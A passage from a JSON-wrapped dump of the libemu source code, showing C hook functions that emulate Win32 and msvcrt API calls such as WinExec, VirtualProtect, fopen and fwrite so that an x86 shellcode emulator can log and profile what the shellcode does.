eip_save);\n\treturn 0;\n}\n\nint32_t\tenv_w32_hook_malloc(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n\n/*\nvoid *malloc( \n   size_t size \n);\n*/\n\n\tuint32_t size;\n\tPOP_DWORD(c, &size);\n\tPUSH_DWORD(c, size);\n\n\tlogDebug(env->emu, \"malloc %i bytes\\n\", size);\n\tuint32_t addr = 0;\n\n\tif( size <= 1*1024*1024 )\n\t{\n\t\tif (emu_memory_alloc(c->mem, &addr, size) == -1)\n\t\t\temu_cpu_reg32_set(c, eax, 0);\n\t\telse\n\t\t\temu_cpu_reg32_set(c, eax, addr);\n\t}\n\n\t\n\tif (env->profile != NULL)\n\t{\n\t\temu_profile_function_add(env->profile, \"malloc\");\n\t\temu_profile_argument_add_int(env->profile, \"size_t\", \"size\", size);\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"void *\", addr);\n\t}\n    emu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\nint32_t\tenv_w32_hook_memset(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n\n/*\nvoid *memset(\n   void* dest, \n   int c, \n   size_t count \n);\n*/\n\tuint32_t dest;\n\tPOP_DWORD(c, &dest);\n\n\tuint32_t writeme;\n\tPOP_DWORD(c, &writeme);\n\n\tuint32_t size;\n\tPOP_DWORD(c, &size);\n\n\tPUSH_DWORD(c, size);\n\tPUSH_DWORD(c, writeme);\n\tPUSH_DWORD(c, dest);\n\n\n\tlogDebug(env->emu, \"memset(0x%08x, 0x%08x, %i)\\n\", dest, writeme, size);\n\t\n\temu_cpu_reg32_set(c, eax, dest);\n\n    emu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\nint32_t env_w32_hook_MapViewOfFile(struct emu_env *env, struct emu_env_hook *hook)\n{\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\tPOP_DWORD(c, &eip_save);\n\n/*LPVOID WINAPI MapViewOfFile(\n  __in  HANDLE hFileMappingObject,\n  __in  DWORD dwDesiredAccess,\n  __in  DWORD dwFileOffsetHigh,\n  __in  DWORD dwFileOffsetLow,\n  __in  SIZE_T dwNumberOfBytesToMap\n);*/\n\n\n\tuint32_t hFileMappingObject;\n\tPOP_DWORD(c, &hFileMappingObject);\n\tuint32_t dwDesiredAccess;\n\tPOP_DWORD(c, &dwDesiredAccess);\n\tuint32_t dwFileOffsetHigh;\n\tPOP_DWORD(c, &dwFileOffsetHigh);\n\tuint32_t dwFileOffsetLow;\n\tPOP_DWORD(c, &dwFileOffsetLow);\n\tuint32_t dwNumberOfBytesToMap;\n\tPOP_DWORD(c, &dwNumberOfBytesToMap);\n\n\tuint32_t addr;\n\temu_memory_alloc(c->mem, &addr, 4711);\n\n\tif (env->profile != NULL)\n\t{\n\t\temu_profile_function_add(env->profile, \"MapViewOfFile\");\n\t\temu_profile_argument_add_int(env->profile, \"HANDLE\", \"hFileMappingObject  \",hFileMappingObject);  \n\t\temu_profile_argument_add_int(env->profile, \"DWORD\", \"dwDesiredAccess     \",dwDesiredAccess);\n\t\temu_profile_argument_add_int(env->profile, \"DWORD\", \"dwFileOffsetHigh    \",dwFileOffsetHigh);\n\t\temu_profile_argument_add_int(env->profile, \"DWORD\", \"dwFileOffsetLow     \",dwFileOffsetLow);\n\t\temu_profile_argument_add_int(env->profile, \"SIZE_T\", \"dwNumberOfBytesToMap\",dwNumberOfBytesToMap);\n\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"LPVOID WINAPI\", addr);\n\t}\n\n\temu_cpu_reg32_set(c, eax, addr);\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\n\nint32_t env_w32_hook_Sleep(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n\n/*VOID WINAPI Sleep(\n  __in  DWORD dwMilliseconds\n);\n*/\n\n\tuint32_t dwMilliseconds;\n\tPOP_DWORD(c, &dwMilliseconds);\n\n\temu_cpu_reg32_set(c, eax, 0);\n\n\tif (env->profile != NULL)\n\t{\n\t\temu_profile_function_add(env->profile, \"Sleep\");\n\t\temu_profile_argument_add_int(env->profile, \"DWORD\", \"dwMilliseconds\", dwMilliseconds);\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"void\", 0);\n\t}\n\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\nint32_t\tenv_w32_hook_UnmapViewOfFile(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\tPOP_DWORD(c, &eip_save);\n\n/*\n * BOOL WINAPI UnmapViewOfFile(\n *   __in  LPCVOID lpBaseAddress\n * ); \n */\n\tuint32_t lpBaseAddress;\n\n\tPOP_DWORD(c, &lpBaseAddress);\n\n\temu_cpu_reg32_set(c, eax, 1);\n\tif (env->profile != NULL)\n\t{\n\t\temu_profile_function_add(env->profile, \"UnmapViewOfFile\");\n\t\temu_profile_argument_add_ptr(env->profile, \"LPCVOID\", \"lpBaseAddress\", lpBaseAddress);\n\t\temu_profile_argument_add_none(env->profile);\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"BOOL WINAPI\", 1);\n\t}\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\nint32_t\tenv_w32_hook_SetFilePointer(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\tPOP_DWORD(c, &eip_save);\n\n/*\n * DWORD WINAPI SetFilePointer(\n * __in         HANDLE hFile,\n * __in         LONG lDistanceToMove,\n * __inout_opt  PLONG lpDistanceToMoveHigh,\n * __in         DWORD dwMoveMethod\n *);\n */\n\tuint32_t hFile;\n\tuint32_t lDistanceToMove;\n\tuint32_t lpDistanceToMoveHigh;\n\tuint32_t dwMoveMethod;\n\n\tPOP_DWORD(c, &hFile);\n\tPOP_DWORD(c, &lDistanceToMove);\n\tPOP_DWORD(c, &lpDistanceToMoveHigh);\n\tPOP_DWORD(c, &dwMoveMethod);\n\n\temu_cpu_reg32_set(c, eax, lDistanceToMove);\n\tif (env->profile != NULL)\n\t{\n\t\temu_profile_function_add(env->profile, \"SetFilePointer\");\n\t\temu_profile_argument_add_int(env->profile, \"HANDLE\", \"hFile\", hFile);\n\t\temu_profile_argument_add_int(env->profile, \"LONG\", \"lDistanceToMove\", lDistanceToMove);\n\t\temu_profile_argument_add_ptr(env->profile, \"PLONG\", \"lpDistanceToMoveHigh\", lpDistanceToMoveHigh);\n\t\temu_profile_argument_add_none(env->profile);\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"DWORD WINAPI\", lDistanceToMove);\n\t}\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\nint32_t env_w32_hook_SetUnhandledExceptionFilter(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n\n/*LPTOP_LEVEL_EXCEPTION_FILTER WINAPI SetUnhandledExceptionFilter(\n  LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter\n);*/\n\n\tuint32_t lpfilter;\n\tPOP_DWORD(c, &lpfilter);\n\n\n\tlogDebug(env->emu, \"Exception filter %08x\\n\", lpfilter);\n\n\temu_cpu_reg32_set(c, eax, 0x7C81CDDA);\n\n\tif (env->profile != NULL)\n\t{\n\t\temu_profile_function_add(env->profile, \"SetUnhandledExceptionFilter\");\n\t\temu_profile_argument_add_ptr(env->profile, \"LPTOP_LEVEL_EXCEPTION_FILTER\", \"lpTopLevelExceptionFilter\", lpfilter);\n\t\temu_profile_argument_add_none(env->profile);\n\t\temu_profile_function_returnvalue_ptr_set(env->profile, \"LPTOP_LEVEL_EXCEPTION_FILTER\", 0x7C81CDDA);\n\t\temu_profile_argument_add_none(env->profile);\n\t}\n\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\nint32_t\tenv_w32_hook_WaitForSingleObject(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n\n/*\nDWORD WINAPI WaitForSingleObject(\n  HANDLE hHandle,\n  DWORD dwMilliseconds\n);\n*/\n\n\tuint32_t handle;\n\tPOP_DWORD(c, &handle);\n\n\tuint32_t msecs;\n\tPOP_DWORD(c, &msecs);\n\n\tlogDebug(env->emu, \"WaitForSingleObject(hHandle=%i,  dwMilliseconds=%i)\\n\", handle, msecs);\n\n\tuint32_t returnvalue;\n\tif ( hook->hook.win->userhook != NULL )\n\t{\n\t\treturnvalue = hook->hook.win->userhook(env, hook, \n\t\t\t\t\t\t\t\t\t\t\t   handle,\n\t\t\t\t\t\t\t\t\t\t\t   msecs);\n\t}else\n\t{\n\t\treturnvalue\t= 0;\n\t}\n\n\tif (env->profile != NULL)\n\t{\n\t\temu_profile_function_add(env->profile, \"WaitForSingleObject\");\n\t\temu_profile_argument_add_int(env->profile, \"HANDLE\", \"hHandle\", handle);\n\t\temu_profile_argument_add_int(env->profile, \"DWORD\", \"dwMilliseconds\", msecs);\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"DWORD\", returnvalue);\n\t}\n\n\temu_cpu_reg32_set(c, eax, returnvalue);\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\nint32_t\tenv_w32_hook_WinExec(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n\n/*\nUINT WINAPI WinExec(\n  LPCSTR lpCmdLine,\n  UINT uCmdShow\n);\n*/\n\n\tuint32_t p_cmdline;\n\tPOP_DWORD(c, &p_cmdline);\n\n\tstruct emu_string *cmdstr = emu_string_new();\n\temu_memory_read_string(emu_memory_get(env->emu), p_cmdline, cmdstr, 256);\n\n\n\n\tuint32_t show;\n\tPOP_DWORD(c, &show);\n\t\n\n\tuint32_t returnvalue;\n\tif ( hook->hook.win->userhook != NULL )\n\t{\n\t\treturnvalue = hook->hook.win->userhook(env, hook, \n\t\t\t\t\t\t\t\t\t\t\t   emu_string_char(cmdstr),\n\t\t\t\t\t\t\t\t\t\t\t   show);\n\t}else\n\t{\n\t\treturnvalue\t= 32;\n\t}\n\n\n\tif (env->profile != NULL)\n\t{\n\t\temu_profile_function_add(env->profile, \"WinExec\");\n\t\temu_profile_argument_add_ptr(env->profile, \"LPCSTR\", \"lpCmdLine\", p_cmdline);\n\t\temu_profile_argument_add_string(env->profile, \"\", \"\", emu_string_char(cmdstr));\n\t\temu_profile_argument_add_int(env->profile, \"UINT\", \"uCmdShow\", show);\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"UINT WINAPI\", returnvalue);\n\t}\n\n\temu_string_free(cmdstr);\n\n\temu_cpu_reg32_set(c, eax, returnvalue);\n\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\nint32_t\tenv_w32_hook_WriteFile(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n\n/*\nBOOL WriteFile(\n  HANDLE hFile,\n  LPCVOID lpBuffer,\n  DWORD nNumberOfBytesToWrite,\n  LPDWORD lpNumberOfBytesWritten,\n  LPOVERLAPPED lpOverlapped\n);\n*/\n\tuint32_t file;\n\tPOP_DWORD(c, &file);\n\n\tuint32_t p_buffer;\n\tPOP_DWORD(c,  &p_buffer);\n\n\tuint32_t bytestowrite;\n\tPOP_DWORD(c,  &bytestowrite);\n\n\tunsigned char *buffer = malloc(bytestowrite);\n\temu_memory_read_block(emu_memory_get(env->emu), p_buffer, buffer, bytestowrite);\n\n\n\tuint32_t p_byteswritten;\n\tPOP_DWORD(c,  &p_byteswritten);\n\t\n\tuint32_t p_overlapped;\n\tPOP_DWORD(c,  &p_overlapped);\n\n\n\temu_memory_write_dword(emu_memory_get(env->emu), p_byteswritten, bytestowrite);\n\n\n\tuint32_t returnvalue;\n\tif ( hook->hook.win->userhook != NULL )\n\t{\n\t\treturnvalue = hook->hook.win->userhook(env, hook, \n\t\t\t\t\t\t\t\t\t\t\t   file,\n\t\t\t\t\t\t\t\t\t\t\t   buffer,\n\t\t\t\t\t\t\t\t\t\t\t   bytestowrite,\n\t\t\t\t\t\t\t\t\t\t\t   p_byteswritten,\n\t\t\t\t\t\t\t\t\t\t\t   p_overlapped);\n\t}else\n\t{\n\t\treturnvalue\t= 1;\n\t}\n\n\tif (env->profile != NULL)\n\t{\n\t\temu_profile_function_add(env->profile, \"WriteFile\");\n\t\temu_profile_argument_add_int(env->profile, \"HANDLE\", \"hFile\", file);\n\t\temu_profile_argument_add_ptr(env->profile, \"LPCVOID\", \"lpBuffer\", p_buffer);\n\t\temu_profile_argument_add_bytea(env->profile, \"\", \"\", buffer, bytestowrite);\n\t\temu_profile_argument_add_int(env->profile, \"DWORD\", \"nNumberOfBytesToWrite\", bytestowrite);\n\t\temu_profile_argument_add_ptr(env->profile, \"LPDWORD\", \"lpNumberOfBytesWritten\", p_byteswritten);\n\t\temu_profile_argument_add_none(env->profile);\n\t\temu_profile_argument_add_ptr(env->profile, \"LPOVERLAPPED\", \"lpOverlapped\", p_overlapped);\n\t\temu_profile_argument_add_none(env->profile);\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"BOOL\", returnvalue);\n\t}\n\n\temu_cpu_reg32_set(c, eax, returnvalue);\n\n\tfree(buffer);\n\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\n\nint32_t env_w32_hook_VirtualProtect(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\tPOP_DWORD(c, &eip_save);\n\n/*\n * BOOL VirtualProtect( \n *\tLPVOID lpAddress, \n *\tDWORD  dwSize, \n *      DWORD  flNewProtect, \n *      PDWORD lpflOldProtect \n *); \n */\n\tuint32_t p_address;\n\tPOP_DWORD(c, &p_address);\n\n\tuint32_t size;\n\tPOP_DWORD(c, &size);\n\n\tuint32_t newprotect;\n\tPOP_DWORD(c, &newprotect);\n\n\tuint32_t oldprotect;\n\tPOP_DWORD(c, &oldprotect);\n\n\tuint32_t returnvalue;\n\tif( hook->hook.win->userhook != NULL )\n\t{\n\t\treturnvalue = hook->hook.win->userhook(env, hook, p_address, size, newprotect, oldprotect);\n\t} else\n\t{\n\t\treturnvalue = 1;\n\t}\n\n\tif( env->profile != NULL )\n\t{\n\t\temu_profile_function_add(env->profile, \"VirtualProtect\");\n\t\temu_profile_argument_add_ptr(env->profile, \"LPCVOID\", \"lpAddress\", p_address);\n\t\temu_profile_argument_add_none(env->profile);\n\t\temu_profile_argument_add_int(env->profile, \"DWORD\"  , \"dwSize\", size);\n\t\temu_profile_argument_add_int(env->profile, \"DWORD\"  , \"flNewProtect\", newprotect);\n\t\temu_profile_argument_add_int(env->profile, \"PDWORD\" , \"lpflOldProtectt\", newprotect);\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"BOOL\", returnvalue);\n\t}\n\n\temu_cpu_reg32_set(c, eax, returnvalue);\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\n\n\nint32_t env_w32_hook_VirtualProtectEx(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\tPOP_DWORD(c, &eip_save);\n\n\n/*\n * BOOL VirtualProtectEx(\n *\tHANDLE hProcess,\n *      LPVOID lpAddress,\n *      SIZE_T dwSize,\n *      DWORD  flNewProtect,\n *      PDWORD lpflOldProtect\n *);\n */\n\tuint32_t h_process;\n\tPOP_DWORD(c, &h_process);\n\n\tuint32_t p_address;\n\tPOP_DWORD(c, &p_address);\n\n\tuint32_t size;\n\tPOP_DWORD(c, &size);\n\n\tuint32_t newprotect;\n\tPOP_DWORD(c, &newprotect);\n\n\tuint32_t oldprotect;\n\tPOP_DWORD(c, &oldprotect);\n\n\tuint32_t returnvalue;\n\tif( hook->hook.win->userhook != NULL )\n\t{\n\t\treturnvalue = hook->hook.win->userhook(env, hook, p_address, size, newprotect, oldprotect);\n\t} else\n\t{\n\t\treturnvalue = 1;\n\t}\n\n\tif( env->profile != NULL )\n\t{\n\t\temu_profile_function_add(env->profile, \"VirtualProtectEx\");\n\t\temu_profile_argument_add_ptr(env->profile, \"HANDLE\" , \"hProcess\", h_process);\n\t\temu_profile_argument_add_none(env->profile);\n\t\temu_profile_argument_add_ptr(env->profile, \"LPCVOID\", \"lpAddress\", p_address);\n\t\temu_profile_argument_add_none(env->profile);\n\t\temu_profile_argument_add_int(env->profile, \"DWORD\"  , \"dwSize\", size);\n\t\temu_profile_argument_add_int(env->profile, \"DWORD\"  , \"flNewProtect\", newprotect);\n\t\temu_profile_argument_add_int(env->profile, \"PDWORD\" , \"lpflOldProtectt\", newprotect);\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"BOOL\", returnvalue);\n\t}\n\n\temu_cpu_reg32_set(c, eax, returnvalue);\n\temu_cpu_eip_set(c, eip_save);\n\n\treturn 0;\n}\n\nint32_t env_w32_hook_TerminateThread(struct emu_env *env, struct emu_env_hook *hook)\n{\n        logDebug(env->emu, \"Hook me Captain Cook!\\n\");\n        logDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n        struct emu_cpu *c = emu_cpu_get(env->emu);\n\n        uint32_t eip_save;\n\n        POP_DWORD(c, &eip_save);\n\n/*\nBOOL WINAPI TerminateThread(\n  HANDLE hThread,\n  DWORD dwExitCode\n);\n*/\n\n        uint32_t handle;\n        POP_DWORD(c, &handle);\n\n        uint32_t exitcode;\n        POP_DWORD(c, &exitcode);\n\n        logDebug(env->emu, \"TerminateThread(hThread=%i,  dwExitCode=%i)\\n\", handle, exitcode);\n\n        uint32_t returnvalue;\n        if ( hook->hook.win->userhook != NULL )\n        {\n                returnvalue = hook->hook.win->userhook(env, hook,\n                                                                                           handle,\n                                                                                           exitcode);\n        }else\n        {\n                returnvalue     = 0;\n        }\n\n        if (env->profile != NULL)\n        {\n                emu_profile_function_add(env->profile, \"TerminateThread\");\n                emu_profile_argument_add_int(env->profile, \"HANDLE\", \"hThread\", handle);\n                emu_profile_argument_add_int(env->profile, \"DWORD\", \"dwExitCode\", exitcode);\n                emu_profile_function_returnvalue_int_set(env->profile, \"BOOL\", returnvalue);\n        }\n\n        emu_cpu_reg32_set(c, eax, returnvalue);\n        emu_cpu_eip_set(c, eip_save);\n        return 0;\n}\n\n"
  },
  {
    "path": "src/environment/win32/env_w32_dll_export_msvcrt_hooks.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdlib.h>\n#include <string.h>\n\n#include <sys/types.h>\n#include <sys/wait.h>\n#include <unistd.h>\n\n#include \"../../../config.h\"\n#include \"emu/emu.h\"\n#include \"emu/emu_log.h\"\n#include \"emu/emu_memory.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/emu_hashtable.h\"\n#include \"emu/emu_string.h\"\n#include \"emu/environment/emu_env.h\"\n#include \"emu/environment/emu_profile.h\"\n#include \"emu/environment/win32/emu_env_w32.h\"\n#include \"emu/environment/win32/emu_env_w32_dll.h\"\n#include \"emu/environment/win32/emu_env_w32_dll_export.h\"\n#include \"emu/environment/win32/env_w32_dll_export_msvcrt_hooks.h\"\n\nint32_t\tenv_w32_hook__execv(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n\n/*\nintptr_t _execv( \n   const char *cmdname,\n   const char *const *argv \n);\nintptr_t _wexecv( \n   const wchar_t *cmdname,\n   const wchar_t *const *argv \n);\n*/\n\n\tuint32_t p_cmdname;\n\tPOP_DWORD(c, &p_cmdname);\n\n\tstruct emu_string *cmdname = emu_string_new();\n\temu_memory_read_string(c->mem, p_cmdname, cmdname, 512);\n\n\n\n\tuint32_t p_argv;\n\tPOP_DWORD(c, &p_argv);\n\n\n\tif ( env->profile != NULL )\n\t{\n\t\temu_profile_function_add(env->profile, \"_execv\");\n\t\temu_profile_argument_add_ptr(env->profile, \"const char *\", \"cmdname\", p_cmdname);\n\t\temu_profile_argument_add_string(env->profile, \"\", \"\", emu_string_char(cmdname)); \n\t\temu_profile_argument_add_ptr(env->profile, \"const char *const *\", \"argv\", p_argv);\n\t\temu_profile_argument_add_none(env->profile);\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"int \", 0);\n\t}\n\n\temu_string_free(cmdname);\n    emu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\n\nint32_t\tenv_w32_hook_fclose(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n\n/*\nint _fcloseall( void );\nint fclose( FILE *stream );\n*/\n\n\tuint32_t p_stream;\n\tMEM_DWORD_READ(c, c->reg[esp], &p_stream);\n\n\n\n\tlogDebug(env->emu, \"fclose(0x%08x)\\n\", p_stream);\n\t\n\temu_cpu_reg32_set(c, eax, 0);\n\n\tif (env->profile != NULL)\n\t{\n\t\temu_profile_function_add(env->profile, \"fclose\");\n\t\temu_profile_argument_add_ptr(env->profile, \"FILE *\", \"stream\", p_stream);\n\t\temu_profile_argument_add_none(env->profile);\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"int\", 0);\n\t}\n\n    emu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\n\nint32_t\tenv_w32_hook_fopen(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n\n/*\nFILE *fopen( const char *filename, const char *mode );\nFILE *_wfopen( const wchar_t *filename, const wchar_t *mode );\n*/\n\n\tuint32_t p_filename;\n\tMEM_DWORD_READ(c, c->reg[esp], &p_filename);\n\n\tstruct emu_string *filename = emu_string_new();\n\temu_memory_read_string(c->mem, p_filename, filename, 512);\n\t\n\tuint32_t p_mode;\n\tMEM_DWORD_READ(c, c->reg[esp]+4, &p_mode);\n\tstruct emu_string *mode = emu_string_new();\n\temu_memory_read_string(c->mem, p_mode, mode, 512);\n\n\n\n//\tprintf(\"fopen(%s, %s)\\n\", emu_string_char(filename), (char *)mode->data);\n\t\n\n\tuint32_t returnvalue;\n\tif ( hook->hook.win->userhook != NULL )\n\t{\n\t\treturnvalue = hook->hook.win->userhook(env, hook, \n\t\t\t\t\t\t\t\t\t\t\t   emu_string_char(filename),\n\t\t\t\t\t\t\t\t\t\t\t   emu_string_char(mode));\n\t}else\n\t{\n\t\treturnvalue\t= 0x89898989;\n\t}\n\n\temu_cpu_reg32_set(c, eax, returnvalue);\n\n\tif (env->profile != NULL)\n\t{\n\t\temu_profile_function_add(env->profile, \"fopen\");\n\t\temu_profile_argument_add_ptr(env->profile, \"const char *\", \"filename\", p_filename);\n\t\temu_profile_argument_add_string(env->profile, \"\", \"\", emu_string_char(filename));\n\t\temu_profile_argument_add_ptr(env->profile, \"const char *\", \"mode\", p_mode);\n\t\temu_profile_argument_add_string(env->profile,  \"\", \"\", emu_string_char(mode));\n\t\temu_profile_function_returnvalue_ptr_set(env->profile, \"FILE *\", returnvalue);\n\t\temu_profile_argument_add_none(env->profile);\n\t}\n\n\n\n\temu_string_free(filename);\n\temu_string_free(mode);\n\n    emu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\nint32_t\tenv_w32_hook_fwrite(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n\n/*\nsize_t fwrite( const void *buffer, size_t size, size_t count, FILE *stream );\n*/\n\n\tuint32_t p_buffer;\n\tMEM_DWORD_READ(c, c->reg[esp], &p_buffer);\n\t\n\n    uint32_t size;\n\tMEM_DWORD_READ(c, (c->reg[esp]+4), &size);\n\n\n\n\tuint32_t count;\n\tMEM_DWORD_READ(c, (c->reg[esp]+8), &count);\n\n\tunsigned char *buffer = malloc(size*count);\n\temu_memory_read_block(emu_memory_get(env->emu), p_buffer, buffer, size*count);\n\n\n\n\tuint32_t p_stream;\n\tMEM_DWORD_READ(c, c->reg[esp]+12, &p_stream);\n\t\n\n\tuint32_t returnvalue;\n\tif ( hook->hook.win->userhook != NULL )\n\t{\n\t\treturnvalue = hook->hook.win->userhook(env, hook, \n\t\t\t\t\t\t\t\t\t\t\t   buffer,\n\t\t\t\t\t\t\t\t\t\t\t   size,\n\t\t\t\t\t\t\t\t\t\t\t   count,\n\t\t\t\t\t\t\t\t\t\t\t   p_stream);\n\t}else\n\t{\n\t\treturnvalue\t= size*count;\n\t}\n\n\n\tlogDebug(env->emu, \"fwrite(0x%08x, %d, %d, 0x%08x)\\n\", p_buffer, size, count, p_stream);\n\t\n\temu_cpu_reg32_set(c, eax, returnvalue);\n\n\tif ( env->profile != NULL )\n\t{\n\t\temu_profile_function_add(env->profile, \"fwrite\");\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"size_t\", returnvalue);\n\t\temu_profile_argument_add_ptr(env->profile, \"const void *\", \"buffer\", p_buffer);\n\t\temu_profile_argument_add_bytea(env->profile, \"\", \"\", buffer, size*count);\n\t\temu_profile_argument_add_int(env->profile, \"size_t\", \"size\", size);\n\t\temu_profile_argument_add_int(env->profile, \"count_t\", \"count\", count);\n\t\temu_profile_argument_add_ptr(env->profile, \"FILE *\", \"stream\", p_stream);\n\t\temu_profile_argument_add_none(env->profile);\n\t}\n\n\tfree(buffer);\n\n    emu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\n"
  },
  {
    "path": "src/environment/win32/env_w32_dll_export_shdocvw_hooks.c",
